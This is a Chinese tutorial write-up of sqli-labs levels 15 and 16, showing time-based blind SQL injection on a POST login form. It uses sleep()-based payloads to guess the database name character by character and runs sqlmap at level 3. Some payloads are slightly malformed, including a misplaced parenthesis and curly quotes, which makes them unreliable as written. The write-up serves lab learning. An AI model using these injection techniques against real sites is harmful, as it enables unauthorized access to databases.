sqli-labs-master第15、16关

前言:在第九关我们已经了解过GET方式的盲注,我们今天一起探讨下POST方式的盲注。
第15关
http://192.168.89.134/sqli-labs-master/Less-15/
sqli-labs-master第15、16关
我们在尝试了,联合查询和报错注入方式后无果,我们初步判断为盲注
我们看下源代码:
sqli-labs-master第15、16关
猜想正确
我们采用延迟盲注(时间注入主要用 if(表达式1,表达式2,表达式3) 函数与sleep() 函数配合使用。if函数原理是当表达式1为True时,返回值为表达式二,否则返回表达式三。)
admin’ and if(length(database()=8),sleep(5),1) #
这句话意思就是 如果条件成立,就停止5秒
sqli-labs-master第15、16关
看这延迟5秒中,说明猜想数据库8位正确
我们继续猜解库名
admin’ and if(substr(database(),1,1)=‘s’,sleep(5),1)–+
admin’ and if(substr(database(),2,1)=‘e’,sleep(5),1)–+
admin’ and if(substr(database(),3,1)=‘c’,sleep(5),1)–+
admin’ and if(substr(database(),4,1)=‘u’,sleep(5),1)–+
admin’ and if(substr(database(),5,1)=‘r’,sleep(5),1)–+
admin’ and if(substr(database(),6,1)=‘i’,sleep(5),1)–+
admin’ and if(substr(database(),7,1)=‘t’,sleep(5),1)–+
admin’ and if(substr(database(),8,1)=‘y’,sleep(5),1)–+
像这样继续猜解不断尝试
如果想进一步得到用户、密码信息,继续不断猜解…
反正盲注很麻烦并且浪费时间!

第十六关
把admin’换成admin’’)其他的步骤都一样

我们用sqlmap去验证
在这里有一点需要和大家强调的
我们用昨天的命令:
sqlmap -r 15.txt
sqli-labs-master第15、16关
说没扫描出来,我查阅了一些资料sqlmap默认的注入能力是level=1,我们改成3
sqlmap -r 15.txt --level=3
sqli-labs-master第15、16关
提示我们有基于时间的盲注还有版本信息
接下来都一样,我省略一些步骤,直接看结果
sqli-labs-master第15、16关
这次真的好慢,可能是因为我们级别调成3

总结:经过了POST方式盲注基本和GET方式相同,换汤不换药。

本文章为自己搭建实验环境做过的,参考过一些资料,希望对你有帮助